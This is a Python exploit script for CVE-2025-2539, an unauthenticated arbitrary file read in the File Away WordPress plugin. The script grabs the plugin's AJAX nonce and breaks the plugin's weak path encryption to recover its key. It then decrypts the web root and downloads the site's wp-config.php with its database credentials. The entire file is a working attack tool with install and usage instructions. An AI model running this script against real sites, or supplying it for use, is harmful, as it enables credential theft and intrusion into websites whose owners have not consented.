#!/usr/bin/env python3 # ============================================================================= # Author: @whattheslime # CVE: CVE-2025-2539 # Date: March 2023 # Product: File Away (WordPress plugin) # Title: Unautenticated arbitrary file read # Vendor URL: https://wordpress.org/plugins/file-away/ # Version: <= 3.9.9.0.1 # ----------------------------------------------------------------------------- # Install: python3 -m venv venv && venv/bin/pip install httpx # Usage: venv/bin/python3 get_config.py -h # ============================================================================= from argparse import ArgumentParser, Namespace from base64 import b64decode from datetime import date from httpx import Client from pathlib import Path from secrets import token_hex from re import search from urllib.parse import urljoin, urlparse, parse_qs, quote AGENT = ( "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 " "Firefox/120.0" ) ERRO = "\r\033[1;31m[!]\033[0m" INFO = "\r\033[1;34m[-]\033[0m" SUCC = "\r\033[1;32m[+]\033[0m" WP_CONFIG = "wp-config.php" CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789" def get_path( http: Client, target: str, nonce: str, file_path: str ) -> tuple[str, str]: """Get encrypted path of a file.""" response = http.post( urljoin(target, "wp-admin/admin-ajax.php"), headers={"Content-Type": "application/x-www-form-urlencoded"}, params={"t": token_hex(5)}, data=f"action=fileaway-stats&nonce={nonce}&file={file_path}", ) url = response.text[1:-1].replace("\\", "") params = parse_qs(urlparse(url).query) file_path = params["fileaway"][0] return url, file_path def download_config(http: Client, target: str, nonce: str): """Exploit File-Away weak encryption to download wordpress configuration. """ # Get encrypted webroot _, encrypted_webroot = get_path(http, target, nonce, "") print(INFO, f"Encrypted web root: {encrypted_webroot[::-1]}") # Retrive encryption key padding = encrypted_webroot.count("=") decoder = quote(padding * b"." + b64decode(CHARSET)) print(INFO, f"Decoder: {decoder}") url, file_path = get_path(http, target, nonce, decoder) key = file_path[::-1][-len(CHARSET):] # Decrypt webroot print(INFO, f"Charset: {CHARSET}") print(SUCC, f"Encryption Key: {key}") decrypted_webroot = "".join( key[CHARSET.index(c)] if c in key else c for c in encrypted_webroot ) webroot = Path(b64decode(decrypted_webroot[::-1].encode()).decode()) print(SUCC, f"Decrypted web root: {webroot}") # Download wp-config.php url, _ = get_path(http, target, nonce, WP_CONFIG) wp_config_content = http.get(url).text website = urlparse(target).netloc time = date.today().strftime("%Y:%m:%d") file_path = f"{website}_{time}_{WP_CONFIG}" Path(file_path).write_text(wp_config_content) print(SUCC, f"Config file downloaded: {file_path}") def parse_args() -> Namespace: """Function to parse user arguments.""" parser = ArgumentParser( description="File Away - Arbitrary File Read Exploitation script" ) parser.add_argument( "-t", "--target", type=str, required=True, help="target url (e.g. http://target.com).", ) parser.add_argument( "-x", "--proxy", type=str, default=None, help="proxy url (e.g. http://127.0.0.1:8080).", ) return parser.parse_args() def main(): """Program entry point.""" args = parse_args() target = args.target try: with Client( follow_redirects=False, headers={"User-Agent": AGENT}, proxy=args.proxy, verify=False, ) as http: # Get fileaway-stats nonce response = http.get(target, params={"t": token_hex(5)}) match = search(r"var fileaway_stats.*nonce\":\"(\w+)\"", response.text) if not match: print( ERRO, "Unable to find 'fileaway-stats-nonce'!," "Plugin seems disabled.", ) return fileaway_stats_nonce = match.group(1) print(SUCC, f"File-Away nonce: {fileaway_stats_nonce}") download_config(http, target, fileaway_stats_nonce) except Exception as error: print(ERRO, error) if __name__ == "__main__": main()